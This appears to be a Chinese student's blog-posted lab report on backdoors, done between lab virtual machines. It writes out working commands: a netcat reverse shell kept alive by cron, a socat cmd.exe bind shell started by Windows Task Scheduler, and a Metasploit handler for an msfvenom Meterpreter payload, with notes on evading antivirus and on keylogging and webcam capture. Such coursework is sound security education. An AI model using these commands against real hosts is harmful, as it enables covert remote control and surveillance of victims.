20164317《网络对抗技术》Exp2 后门原理与实践

1.实验内容

  • (1)使用netcat获取主机操作Shell,cron启动
  • (2)使用socat获取主机操作Shell, 任务计划启动
  • (3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
  • (4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

2.实验环境

  • 关闭防火墙的win10虚拟机,我的ip地址为:192.168.49.129
  • kali虚拟机.ip地址为:  192.168.49.128
  • 两台虚拟机可以ping通
  •  

3.实验中用到的工具

  •       
  • netcat。在linux下叫ncat,我们的kali机自带,可以直接用man ncat 命令查看。
  •        
  •       socat。netcat的增强版。安装方法同上
  •       meterpreter。kali机自带,只在kali中用。

实验步骤

1.使用netcat获取主机操作Shell,cron启动

win7为坏人,linux为受害者。cron启动

  • win7监听,linux反弹连接
  • win7中cmd窗口中输入: ncat.exe -l -p 4317 
  • kali中输入命令  nc 192.168.49.129 4317 -e /bin/sh 
  • cron启动。Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以" man cron "。这里的cron启动时去让linux受害者去定时反弹连接win10。
  • 用 crontab -e 指令去增加一条定时任务
  •  

    写完输入指令 crontab -l  

  • 2.使用socat获取主机操作Shell。 任务计划启动
  • 这意思是win10作为受害者,用系统里的任务计划启动,定时“要求被害”。所以,这里只做win10作为victim反向连接的。
  •  - 用 man socat 命令查看socat的介绍及相关用法:

  • win7中打开控制面板,点击管理工具里的计划任务
  • 点击右侧的创建任务,在常规选项卡上填名称
  •  

  • 点击 触发器 ,选择新建,然后将开始任务设置为 工作站锁定时
  •  

  • 再点击 操作 选项卡,点击新建,程序或脚本中选择socat.exe路径,在添加参数一栏中写 tcp-listen:4317exec:cmd.exe,pty,stderr (作用是把cmd.exe绑定到端口4317,同时把cmd.exe的stderr重定向到stdout上),点击确定 保存设置 :

  •  

  • 点击左侧的 任务计划程序库 ,点击右边的 显示所有任务 ,然后再中间部分找到自己刚创建的任务,右键运行,弹出一个taskeng.exe框,然后切换到kali

  •  

  • 在Kali Linux中输入 socat - tcp:192.168.49.129.4317 命令,可以成功得到一个cmd shell:

  •  

  • 3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    后门就是一个程序。

    传统的理解是:有人编写一个后门程序,大家拿来用。

    后来有一些牛人呢,就想编写一个平台能生成后门程序。这个平台呢,把后门的

    基本功能(基本的连接、执行指令),

    扩展功能(如搜集用户信息、安装服务等功能),

    编码模式,

    运行平台,

    以及运行参数

    全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。 典型的平台就包括有:

    intersect

    Metaspolit的msfvenom指令

    Veil-evasion

    我们接下来学习如何使用msfenom生成后门可执行文件。我们要生成的这个后门程序是Meterpreter. 揭开Meterpreter的神秘面纱介绍了meterpreter的一些底层原理。
  •  -p  使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode

     -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中

     -e  使用的编码器,用于对shellcode变形,为了免杀

     -i  编码器的迭代次数。如上即使用该编码器编码5次

     -b badchar 是payload中需要去除的字符

     LHOST  是反弹回连的IP

     LPORT 是回连的端口

     -f  生成文件的类型

     >  输出到哪个文件

  • 现在文件生成好了,先再win10的命令行中输入 ncat -l 4317> 20164317.exe 开启监听并将接受的数据写入20164317.exe文件中

  •  

  • 再kali中用 nc -nv 192.168.49.129 4317 < 20164317.exe  指令将数据传过去

  •  

  •  

  • kali中输入 msfconsole
  • 依次输入以下命令

    复制代码

    use exploit/multi/handler

    set payload windows/meterpreter/reverse_tcp

    set LHOST 192.168.235.137 //注意此处应为Linux的IP!

    set LPORT 5212 //后门程序里的端口号

    show options

    exploit

  • 现在去win10中双击运行20164317.exe,点后win10没反应,然后切回kali,通过msf的监听进程获得win10的主动链接,并得到远程控制shell

  •  

  •  

  • 4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权                                                                                                 要是误操作什么的不小心关掉了其中什么东西也ok,win中任务管理器再进程中结束backdoor.exe,然后再照上面敲一遍

  • 以下是获取截屏、音频、摄像头、击键记录和提权都内容,更多的权限可以使用help查看。
  •  

  •  

     

     

    基础问题回答

         (1)例举你能想到的一个后门进入到你系统中的可能方式?

             非官方网站下载应用程序时,该应用程序可能绑定了一些可执行文件,因此留下后门。或者当我们打开一个网页时,如果该网页会自动链接到木马程序的话,就会在后台自动下载安装木马的安装程序,

            并会自动安装木马,生成可执行文件,以此在系统留下后门。

        (2)例举你知道的后门如何启动起来(win及linux)的方式?

              Windows:设置为开机自启动、修改注册表项、用户执行带有后门的可执行文件

              Linux:通过crontab功能将后门设为定时启动;也可以通过对正常软件绑定注入shellcode

        (3)Meterpreter有哪些给你映像深刻的功能?

              在植入后门后,可以控制被控主机的shell,执行指令;获取被控主机的录音、录像、截图、键盘输入记录等。

        (4)如何发现自己有系统有没有被安装后门?

               打开防火墙,查看有没有异常开放的端口;

              安装杀毒软件,实时监控电脑,定时对系统进行检测

    实验感想与问题

    感想:这次实验,不得不说很让我震惊。这是我第一次实际上get到后门获取信息的知识,很满足。希望以后能够更深入的学到相关理论和知识,不仅学会攻击,也要学会防范。

    现在去win10中双击运行20164317.exe,点后win10没反应,然后切回kali,通过msf的监听进程获得win10的主动链接,并得到远程控制shell

posted @ 2019-03-24 21:57  LIAUER  阅读(218)  评论(0编辑  收藏  举报